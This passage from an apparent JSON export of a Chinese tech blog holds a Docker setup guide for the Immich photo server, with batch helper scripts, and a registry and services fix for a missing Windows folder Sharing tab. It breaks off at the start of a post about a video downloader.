\u0026#34;C:/Users/lsy22/Pictures:/immich-photo-library/Pictures:ro\u0026#34;\n - \u0026#34;D:/图\u0026amp;片:/immich-photo-library/图\u0026amp;片:ro\u0026#34;\n - \u0026#34;D:/Backup/ImmichPhotoBackup:/usr/src/app/upload/upload\u0026#34;\n\u003c/code\u003e\u003c/pre\u003e\n\u003cul\u003e\n\u003cli\u003e这里是目录映射相关的设置,用来指定转码的视频、缩略图、预览图、外部图库、上传的图片等存储的位置。\u003c/li\u003e\n\u003cli\u003e\n\u003ccode\u003e${UPLOAD_LOCATION}\u003c/code\u003e 在环境变量中定义,因为前三行分别是转码的视频、图库、缩略图/预览图的存储位置,建议放在读取速度相对快的固态硬盘上,否则可能影响浏览图库时的加载速度。不能设置只读。\u003c/li\u003e\n\u003cli\u003e\n\u003ccode\u003e- \u0026#34;C:/Users/lsy22/Pictures:/immich-photo-library/Pictures:ro\u0026#34;\u003c/code\u003e 是外部图库的目录映射,需要自己修改。\n\u003cul\u003e\n\u003cli\u003e冒号 \u003ccode\u003e:\u003c/code\u003e 左边是宿主机上已有照片的存储位置。如果是 Windows 路径,其中的反斜杠 \u003ccode\u003e\\\u003c/code\u003e 要改成正斜杠 \u003ccode\u003e/\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e冒号 \u003ccode\u003e:\u003c/code\u003e 右边是映射到容器中的位置。可以自己修改,之后要在 Immich 的设置中填写。\u003c/li\u003e\n\u003cli\u003e末尾的 \u003ccode\u003e:ro\u003c/code\u003e 是只读模式。因为这是外部图库,我不需要 Immich 来修改,为了防止意外删库选择了只读。如果没有这方面的顾虑,或者需要用 Immich 来删除或者修改外部图库中的图片,就不要添加这个参数。\u003c/li\u003e\n\u003cli\u003e如果有多个外部图库位置可以添加多行,每行对应一个位置,注意映射到容器中的目录不能相同。例如下一行 \u003ccode\u003e- \u0026#34;D:/图\u0026amp;片:/immich-photo-library/图\u0026amp;片:ro\u0026#34;\u003c/code\u003e。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ccode\u003e- \u0026#34;D:/Backup/ImmichPhotoBackup:/usr/src/app/upload/upload\u0026#34;\u003c/code\u003e 是图片上传文件夹的目录映射,手动上传的图片和客户端自动备份的图片会存储在这里,需要自己修改。\n\u003cul\u003e\n\u003cli\u003e冒号 \u003ccode\u003e:\u003c/code\u003e 左边是宿主机上为上传文件夹准备的目录。如果是 Windows 路径,其中的反斜杠 \u003ccode\u003e\\\u003c/code\u003e 要改成正斜杠 \u003ccode\u003e/\u003c/code\u003e。因为会上传大量原图,占空间较大,我选择放在机械硬盘。\u003c/li\u003e\n\u003cli\u003e冒号 \u003ccode\u003e:\u003c/code\u003e 右边是映射到容器中的位置,不能修改。\u003c/li\u003e\n\u003cli\u003e不能设置只读。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e20-21 行:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-yml\"\u003eports:\n - 2283:3001\n\u003c/code\u003e\u003c/pre\u003e\n\u003cul\u003e\n\u003cli\u003e这里是外部访问端口映射设置。\u003c/li\u003e\n\u003cli\u003e冒号 \u003ccode\u003e:\u003c/code\u003e 左边的 \u003ccode\u003e2283\u003c/code\u003e 是外部访问端口,可以自己修改,之后用 \u003ccode\u003ehttp://ip:2283\u003c/code\u003e 访问 WebUI。\u003c/li\u003e\n\u003cli\u003e冒号 \u003ccode\u003e:\u003c/code\u003e 右边的 \u003ccode\u003e3001\u003c/code\u003e 是容器内部端口,不能修改。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e27-36 行:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-yml\"\u003eimmich-machine-learning:\n container_name: immich_machine_learning\n # For hardware acceleration, add one of -[armnn, cuda, openvino] to the image tag.\n # Example tag: ${IMMICH_VERSION:-release}-cuda\n image: ghcr.io/immich-app/immich-machine-learning:${IMMICH_VERSION:-release}-cuda\n extends: # uncomment this section for hardware acceleration - see https://immich.app/docs/features/ml-hardware-acceleration\n file: hwaccel.ml.yml\n service: cuda # set to one of [armnn, cuda, openvino, openvino-wsl] for accelerated inference - use the `-wsl` version for WSL2 where applicable\n volumes:\n - ./model-cache:/cache\n\u003c/code\u003e\u003c/pre\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e这里是机器学习容器的设置。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003ccode\u003eimage: ghcr.io/immich-app/immich-machine-learning:${IMMICH_VERSION:-release}-cuda\u003c/code\u003e 这一行前面都不用修改,最后的 \u003ccode\u003e-cuda\u003c/code\u003e 有以下几种选择:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e不加,也就是 \u003ccode\u003eimage: ghcr.io/immich-app/immich-machine-learning:${IMMICH_VERSION:-release}\u003c/code\u003e,使用 CPU 运行机器学习,效率低。\u003c/li\u003e\n\u003cli\u003e\n\u003ccode\u003e-cuda\u003c/code\u003e,支持 CUDA 的 N 卡,效率高,一般最好有 N 卡并且选这个。\u003c/li\u003e\n\u003cli\u003e\n\u003ccode\u003e-armnn\u003c/code\u003e,ARM 的机器学习硬件加速。\u003c/li\u003e\n\u003cli\u003e\n\u003ccode\u003e-openvino\u003c/code\u003e,Intel 的机器学习硬件加速。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cpre\u003e\u003ccode class=\"language-yml\"\u003eextends:\n file: hwaccel.ml.yml\n service: cuda\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e这部分是硬件加速机器学习的配置,如果需要的话从 \u003ccode\u003ehttps://github.com/immich-app/immich/releases/latest/download/hwaccel.ml.yml\u003c/code\u003e 下载 \u003ccode\u003ehwaccel.ml.yml\u003c/code\u003e 放在旁边,不用就把这部分注释掉或者删掉。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003ccode\u003eservices\u003c/code\u003e 有以下可选:\u003c/li\u003e\n\u003cli\u003e\n\u003ccode\u003ecpu\u003c/code\u003e:使用 CPU 进行机器学习。\u003c/li\u003e\n\u003cli\u003e\n\u003ccode\u003ecuda\u003c/code\u003e:使用 N 卡加速机器学习,最推荐。\u003c/li\u003e\n\u003cli\u003e\n\u003ccode\u003eopenvino\u003c/code\u003e:使用 I 卡加速机器学习。\u003c/li\u003e\n\u003cli\u003e\n\u003ccode\u003eopenvino-wsl\u003c/code\u003e:如果使用 I 卡并且安装在 WSL2 中就选择这个。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e58-59 行:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-yml\"\u003evolumes:\n - \u0026#34;database:/var/lib/postgresql/data\u0026#34;\n\u003c/code\u003e\u003c/pre\u003e\n\u003cul\u003e\n\u003cli\u003e这里我没有按照官方提供的文档要求,原版的目录映射是 \u003ccode\u003e- ${DB_DATA_LOCATION}:/var/lib/postgresql/data\u003c/code\u003e,然后 \u003ccode\u003eDB_DATA_LOCATION\u003c/code\u003e 在环境变量中定义为 \u003ccode\u003e./postgres\u003c/code\u003e。原版在 Linux 上能正常工作,但是因为 PostgreSQL 数据库在 NTFS 文件系统上会有权限问题,所以我选择映射到了 Docker 容器的数据卷里。\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e59-70 行:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-yml\"\u003evolumes:\n database:\n driver: local\n\u003c/code\u003e\u003c/pre\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e这里是数据库数据卷的设置,和上面的数据库目录映射配合使用。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e如果上面使用官方原版的目录映射,这里也改成原本的设置:\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cpre\u003e\u003ccode class=\"language-yml\"\u003evolumes:\n model-cache:\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca id=\"content-编写-env\" href=\"https://blog.lsy223622.com/archives/65/#content-%E7%BC%96%E5%86%99-env\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e编写 .env\u003c/h2\u003e\n\u003cp\u003e官方 \u003ccode\u003e.env\u003c/code\u003e 模板下载地址:\u003ccode\u003ehttps://github.com/immich-app/immich/releases/latest/download/example.env\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e以下是我的 .env:\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-ini\"\u003e# You can find documentation for all the supported env variables at https://immich.app/docs/install/environment-variables\n\n# The location where your uploaded files are stored\nUPLOAD_LOCATION=./library\n# The location where your database files are stored\nDB_DATA_LOCATION=./postgres\n\n# To set a timezone, uncomment the next line and change Etc/UTC to a TZ identifier from this list: https://en.wikipedia.org/wiki/List_of_tz_database_time_zones#List\nTZ=Asia/Shanghai\n\n# The Immich version to use. You can pin this to a specific version like \u0026#34;v1.71.0\u0026#34;\nIMMICH_VERSION=release\n\n# Connection secret for postgres. You should change it to a random password\nDB_PASSWORD=postgres\n\n# The values below this line do not need to be changed\n###################################################################################\nDB_USERNAME=postgres\nDB_DATABASE_NAME=immich\n\nMACHINE_LEARNING_WORKER_TIMEOUT=300\n\u003c/code\u003e\u003c/pre\u003e\n\u003cul\u003e\n\u003cli\u003e大多数都不用改,只需要把 \u003ccode\u003eDB_PASSWORD\u003c/code\u003e 改成一个随机密码就行了。\u003c/li\u003e\n\u003cli\u003e\n\u003ccode\u003eTZ\u003c/code\u003e 是时区设置,我改成了 \u003ccode\u003eAsia/Shanghai\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e\n\u003ccode\u003eMACHINE_LEARNING_WORKER_TIMEOUT\u003c/code\u003e 是机器学习工作超时时间,单位秒,不设置默认 120。这意味着如果机器学习工作进程持续这么久无响应就会被强制停止。我有段时间发现高负载的时候搜索时间很长,有时候会超时被强制停止,于是改成了 300 秒,改了之后似乎是够用了。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca id=\"content-下载-hwaccelmlyml\" href=\"https://blog.lsy223622.com/archives/65/#content-%E4%B8%8B%E8%BD%BD-hwaccelmlyml\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e下载 hwaccel.ml.yml\u003c/h2\u003e\n\u003cp\u003e官方 \u003ccode\u003ehwaccel.ml.yml\u003c/code\u003e 模板下载地址:\u003ccode\u003ehttps://github.com/immich-app/immich/releases/latest/download/hwaccel.ml.yml\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003e这个文件没啥要改的,要用到硬件加速机器学习的话就下载放在旁边。\u003c/p\u003e\n\u003ch1\u003e\u003ca id=\"content-安装\" href=\"https://blog.lsy223622.com/archives/65/#content-%E5%AE%89%E8%A3%85\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e安装\u003c/h1\u003e\n\u003ch2\u003e\u003ca id=\"content-启动-immich\" href=\"https://blog.lsy223622.com/archives/65/#content-%E5%90%AF%E5%8A%A8-immich\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e启动 Immich\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e打开终端,进入 \u003ccode\u003edocker-compose.yml\u003c/code\u003e 所在目录。\u003c/li\u003e\n\u003cli\u003e输入 \u003ccode\u003edocker-compose up -d\u003c/code\u003e 启动 Immich。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca id=\"content-访问-immich\" href=\"https://blog.lsy223622.com/archives/65/#content-%E8%AE%BF%E9%97%AE-immich\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e访问 Immich\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e打开浏览器,输入 \u003ccode\u003ehttp://ip:2283\u003c/code\u003e 访问 Immich。\u003c/li\u003e\n\u003cli\u003e如果装在本机,可以输入 \u003ccode\u003ehttp://localhost:2283\u003c/code\u003e 访问 Immich。\u003c/li\u003e\n\u003cli\u003e第一次访问会要求设置管理员账号和密码,设置好之后就可以使用了。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e\u003ca id=\"content-设置-immich\" href=\"https://blog.lsy223622.com/archives/65/#content-%E8%AE%BE%E7%BD%AE-immich\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e设置 Immich\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e登录 Immich 后,点击右上角的头像,选择 \u003ccode\u003eAccount Settings\u003c/code\u003e 进入用户设置页面。\u003c/li\u003e\n\u003cli\u003e语言改成简体中文。\u003c/li\u003e\n\u003cli\u003e再次点击右上角的头像,选择 \u003ccode\u003e管理\u003c/code\u003e 进入系统设置页面。\u003c/li\u003e\n\u003cli\u003e点击左边的 \u003ccode\u003e设置\u003c/code\u003e 选项卡。\n\u003cul\u003e\n\u003cli\u003e在 \u003ccode\u003e图片设置\u003c/code\u003e 中根据空间占用需求设置图片的压缩参数。\u003c/li\u003e\n\u003cli\u003e在 \u003ccode\u003e任务设置\u003c/code\u003e 中根据机器性能设置各种任务的并发数量。\u003c/li\u003e\n\u003cli\u003e展开 \u003ccode\u003e机器学习设置\u003c/code\u003e。\n\u003cul\u003e\n\u003cli\u003e在 \u003ccode\u003eURL\u003c/code\u003e 中填入机器学习容器的地址 \u003ccode\u003ehttp://immich-machine-learning:3003\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e在 \u003ccode\u003e智能搜索\u003c/code\u003e 中填入一个 clip 模型,推荐支持多语言的 \u003ccode\u003eXLM-Roberta-Large-Vit-B-16Plus\u003c/code\u003e,可以提前从 \u003ccode\u003ehttps://huggingface.co/immich-app/XLM-Roberta-Large-Vit-B-16Plus\u003c/code\u003e 下载好,解压到 \u003ccode\u003edocker-compose.yml\u003c/code\u003e 旁边的 \u003ccode\u003emodel-cache\\clip\u003c/code\u003e 文件夹下。\u003c/li\u003e\n\u003cli\u003e在 \u003ccode\u003e人脸识别\u003c/code\u003e 中选择一个人脸识别模型,推荐 \u003ccode\u003eantelopev2\u003c/code\u003e,可以提前从 \u003ccode\u003ehttps://huggingface.co/immich-app/antelopev2\u003c/code\u003e 下载好,解压到 \u003ccode\u003edocker-compose.yml\u003c/code\u003e 旁边的 \u003ccode\u003emodel-cache\\facial-recognition\u003c/code\u003e 文件夹下。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e底下的 \u003ccode\u003e视频转码设置\u003c/code\u003e 需要的话也可以设置一下,我选择不要对任何视频进行转码。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e点击左边的 \u003ccode\u003e外部图库\u003c/code\u003e 选项卡。\n\u003cul\u003e\n\u003cli\u003e点击 \u003ccode\u003e创建图库\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e点击新的图库右边的菜单键,重命名和编辑导入路径,导入路径填写在 \u003ccode\u003edocker-compose.yml\u003c/code\u003e 中外部图库映射到容器内的目录。\u003c/li\u003e\n\u003cli\u003e如果有多个外部图库,可以重复上面的步骤。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e点击左边的 \u003ccode\u003e任务\u003c/code\u003e 选项卡。\n\u003cul\u003e\n\u003cli\u003e点击 \u003ccode\u003e图库\u003c/code\u003e 右边的 \u003ccode\u003e全部\u003c/code\u003e,开始扫描图库。\u003c/li\u003e\n\u003cli\u003e扫描完图库之后,就可以把其他任务都执行一遍,比如智能搜索、人脸检测等。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-设置移动设备自动备份\" href=\"https://blog.lsy223622.com/archives/65/#content-%E8%AE%BE%E7%BD%AE%E7%A7%BB%E5%8A%A8%E8%AE%BE%E5%A4%87%E8%87%AA%E5%8A%A8%E5%A4%87%E4%BB%BD\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e设置移动设备自动备份\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e下载 Immich 客户端,安装到移动设备上。\n\u003cul\u003e\n\u003cli\u003eAndroid:\u003ca rel=\"noopener noreferrer\" href=\"https://play.google.com/store/apps/details?id=app.alextran.immich\"\u003eGoogle Play\u003c/a\u003e 或 \u003ca rel=\"noopener noreferrer\" href=\"https://github.com/immich-app/immich/releases\"\u003eGitHub\u003c/a\u003e 或 \u003ca rel=\"noopener noreferrer\" href=\"https://f-droid.org/packages/app.alextran.immich\"\u003eF-Droid\u003c/a\u003e。\u003c/li\u003e\n\u003cli\u003eiOS/iPadOS:\u003ca rel=\"noopener noreferrer\" href=\"https://apps.apple.com/us/app/immich/id1613945652\"\u003eApp Store\u003c/a\u003e。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e在客户端中输入服务端的地址,登录。\u003c/li\u003e\n\u003cli\u003e在客户端右上角打开自动备份页面,选择要备份的文件夹,开启自动备份。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-自用懒人小脚本\" href=\"https://blog.lsy223622.com/archives/65/#content-%E8%87%AA%E7%94%A8%E6%87%92%E4%BA%BA%E5%B0%8F%E8%84%9A%E6%9C%AC\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e自用懒人小脚本\u003c/h1\u003e\n\u003ch2\u003e\u003ca id=\"content-startbat\" href=\"https://blog.lsy223622.com/archives/65/#content-startbat\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003estart.bat\u003c/h2\u003e\n\u003cpre\u003e\u003ccode class=\"language-bat\"\u003e@echo off\n\necho Starting Immich...\n\ndocker compose up -d\ndocker compose logs -f\n\necho Done.\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch2\u003e\u003ca id=\"content-updatebat\" href=\"https://blog.lsy223622.com/archives/65/#content-updatebat\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003eupdate.bat\u003c/h2\u003e\n\u003cpre\u003e\u003ccode class=\"language-bat\"\u003e@echo off\n\necho Pulling Docker images...\n\ndocker compose pull\n\necho:\necho Restarting Immich...\n\ndocker compose stop\ndocker compose up -d\n\necho Done.\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch1\u003e\u003ca id=\"content-结语\" href=\"https://blog.lsy223622.com/archives/65/#content-%E7%BB%93%E8%AF%AD\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e结语\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003eImmich 确实好用,用了一段时间,感觉非常满意,推荐大家有需要的可以安装试试。\u003c/li\u003e\n\u003cli\u003e有什么问题欢迎在评论区提出或者联系 QQ,我会尽量回答。\u003c/li\u003e\n\u003c/ul\u003e\n\n","url":"https://blog.lsy223622.com/archives/65/"},{"title":"Windows 文件夹属性窗口没有共享标签页的解决方法","time":"2024-07-25T03:33:00Z","content":"\u003chr /\u003e\u003ch1\u003e\u003ca id=\"content-目录\" href=\"https://blog.lsy223622.com/archives/59/#content-%E7%9B%AE%E5%BD%95\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e目录\u003c/h1\u003e\n\u003cul class=\"table-of-contents\"\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/59/#content-%E7%9B%AE%E5%BD%95\"\u003e目录\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/59/#content-%E7%8E%B0%E8%B1%A1\"\u003e现象\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/59/#content-%E8%A7%A3%E5%86%B3%E6%96%B9%E6%B3%95\"\u003e解决方法\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/59/#content-%E5%8F%82%E8%80%83%E9%93%BE%E6%8E%A5\"\u003e参考链接\u003c/a\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003ca href=\"https://blog.lsy223622.com/archives/59/#content-%E5%85%B6%E4%BB%96%E8%A7%A3%E5%86%B3%E6%96%B9%E6%B3%95\"\u003e其他解决方法\u003c/a\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-现象\" href=\"https://blog.lsy223622.com/archives/59/#content-%E7%8E%B0%E8%B1%A1\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e现象\u003c/h1\u003e\n\u003cul\u003e\n\u003cli\u003e打开 Windows 资源管理器。\u003c/li\u003e\n\u003cli\u003e右击想要共享的文件夹,选择 \u003ccode\u003e属性\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e弹出的窗口没有 \u003ccode\u003e共享\u003c/code\u003e 标签页。\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch1\u003e\u003ca id=\"content-解决方法\" href=\"https://blog.lsy223622.com/archives/59/#content-%E8%A7%A3%E5%86%B3%E6%96%B9%E6%B3%95\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e解决方法\u003c/h1\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e按下 \u003ccode\u003eWin + R\u003c/code\u003e 组合键,打开 \u003ccode\u003e运行\u003c/code\u003e 窗口,或打开左下角的搜索框。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e输入 \u003ccode\u003eregedit\u003c/code\u003e 并回车,打开 \u003ccode\u003e注册表编辑器\u003c/code\u003e。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e前往 \u003ccode\u003eHKEY_CLASSES_ROOT\\Directory\\shellex\\PropertySheetHandlers\\Sharing\u003c/code\u003e\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e如果找不到上方路径,请在 \u003ccode\u003ePropertySheetHandlers\u003c/code\u003e 文件夹里,创建名为 \u003ccode\u003eSharing\u003c/code\u003e 的文件夹。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e双击 \u003ccode\u003e(默认)\u003c/code\u003e REG_SZ 机码,把数值改为 \u003ccode\u003e{f81e9010-6ea4-11ce-a7ff-00aa003ca9f6}\u003c/code\u003e 并确定。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e重启资源管理器,此时右击文件夹,选择 \u003ccode\u003e属性\u003c/code\u003e,就会看到 \u003ccode\u003e共享\u003c/code\u003e 标签页了。\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch1\u003e\u003ca id=\"content-参考链接\" href=\"https://blog.lsy223622.com/archives/59/#content-%E5%8F%82%E8%80%83%E9%93%BE%E6%8E%A5\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e参考链接\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003ca rel=\"noopener noreferrer\" href=\"https://answers.microsoft.com/zh-hans/windows/forum/all/%E6%96%87%E4%BB%B6%E5%A4%B9%E6%B2%A1%E6%9C%89/40b44773-b72c-449f-aafe-38dd9d08fb99\"\u003e文件夹没有共享选项,怎么办 - Microsoft Community\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch1\u003e\u003ca id=\"content-其他解决方法\" href=\"https://blog.lsy223622.com/archives/59/#content-%E5%85%B6%E4%BB%96%E8%A7%A3%E5%86%B3%E6%96%B9%E6%B3%95\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e其他解决方法\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003e我的电脑用上面的方法解决了,但考虑到不同的电脑可能会有不同的问题,这里列出了一些其他的解决方法。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cul\u003e\n\u003cli\u003e\n\u003cp\u003e启用 \u003ccode\u003e服务\u003c/code\u003e 中的 \u003ccode\u003eServer\u003c/code\u003e 和 \u003ccode\u003eComputer Browser\u003c/code\u003e 服务。\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e按下 \u003ccode\u003eWin + R\u003c/code\u003e 组合键,打开 \u003ccode\u003e运行\u003c/code\u003e 窗口,或打开左下角的搜索框。\u003c/li\u003e\n\u003cli\u003e输入 \u003ccode\u003eservices.msc\u003c/code\u003e 并回车,打开 \u003ccode\u003e服务\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e在打开的服务列表中,找到 \u003ccode\u003eServer\u003c/code\u003e 服务,双击打开。\u003c/li\u003e\n\u003cli\u003e在弹出的窗口中,将 \u003ccode\u003e启动类型\u003c/code\u003e 设置为 \u003ccode\u003e自动\u003c/code\u003e,然后点击右下角的 \u003ccode\u003e应用\u003c/code\u003e 按钮。\u003c/li\u003e\n\u003cli\u003e在服务列表中,继续找到 \u003ccode\u003eComputer Browser\u003c/code\u003e 服务,同样双击打开。\u003c/li\u003e\n\u003cli\u003e在弹出的窗口中,同样将 \u003ccode\u003e启动类型\u003c/code\u003e 设置为 \u003ccode\u003e自动\u003c/code\u003e,最后点击右下角的 \u003ccode\u003e应用\u003c/code\u003e 按钮。\u003c/li\u003e\n\u003cli\u003e重启电脑,再次右击文件夹,选择 \u003ccode\u003e属性\u003c/code\u003e,就会看到 \u003ccode\u003e共享\u003c/code\u003e 标签页了。\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e开启 \u003ccode\u003eSMB 1.0/CIFS 文件共享支持\u003c/code\u003e\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e打开左下角的搜索框,输入 \u003ccode\u003e控制面板\u003c/code\u003e 并回车,打开 \u003ccode\u003e控制面板\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e在 \u003ccode\u003e控制面板\u003c/code\u003e 中,选择 \u003ccode\u003e程序\u003c/code\u003e -\u0026gt; \u003ccode\u003e程序和功能\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e在打开的窗口中,点击左侧的 \u003ccode\u003e启用或关闭 Windows 功能\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e在弹出的窗口中,找到 \u003ccode\u003eSMB 1.0/CIFS 文件共享支持\u003c/code\u003e,点击左边的 + 号展开。\u003c/li\u003e\n\u003cli\u003e勾选 \u003ccode\u003eSMB 1.0/CIFS 服务器\u003c/code\u003e 和 \u003ccode\u003eSMB 1.0/CIFS 客户端\u003c/code\u003e,然后点击右下角的 \u003ccode\u003e确定\u003c/code\u003e 按钮。\u003c/li\u003e\n\u003cli\u003e重启电脑,再次右击文件夹,选择 \u003ccode\u003e属性\u003c/code\u003e,就会看到 \u003ccode\u003e共享\u003c/code\u003e 标签页了。\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e在 \u003ccode\u003e文件夹选项\u003c/code\u003e 中勾选 \u003ccode\u003e使用共享向导\u003c/code\u003e\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e打开 Windows 资源管理器。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e打开文件夹选项。\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e在 Windows 11 中,点击中间上方的 \u003ccode\u003e…\u003c/code\u003e,然后点击 \u003ccode\u003e选项\u003c/code\u003e。\u003c/li\u003e\n\u003cli\u003e在 Windows 10 中,点击左上角的 \u003ccode\u003e查看\u003c/code\u003e,然后点击右上角的 \u003ccode\u003e选项\u003c/code\u003e。\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e在打开的窗口中,选择 \u003ccode\u003e查看\u003c/code\u003e 标签页。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e在 \u003ccode\u003e高级设置\u003c/code\u003e 中,找到 \u003ccode\u003e使用共享向导(推荐)\u003c/code\u003e,勾选后点击右下角的 \u003ccode\u003e确定\u003c/code\u003e 按钮。\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e重启资源管理器,再次右击文件夹,选择 \u003ccode\u003e属性\u003c/code\u003e,就会看到 \u003ccode\u003e共享\u003c/code\u003e 标签页了。\u003c/p\u003e\n\u003c/li\u003e\n\u003c/ol\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\n","url":"https://blog.lsy223622.com/archives/59/"},{"title":"关于 XDUClassVideoDownloader 的开发","time":"2024-07-07T14:55:00Z","content":"\u003chr /\u003e\u003ch1\u003e\u003ca id=\"content-目录\" href=\"https://blog.lsy223622.com/archives/56/#content-%E7%9B%AE%E5%BD%95\" class=\"heading-permalink\" aria-hidden=\"true\" title=\"Permalink\"\u003e\u003c/a\u003e目录\u003c/h1\u003e\n\u003cul class=\"table-of-contents\"\u003e\n\u003cli\u003e\n\u003ca 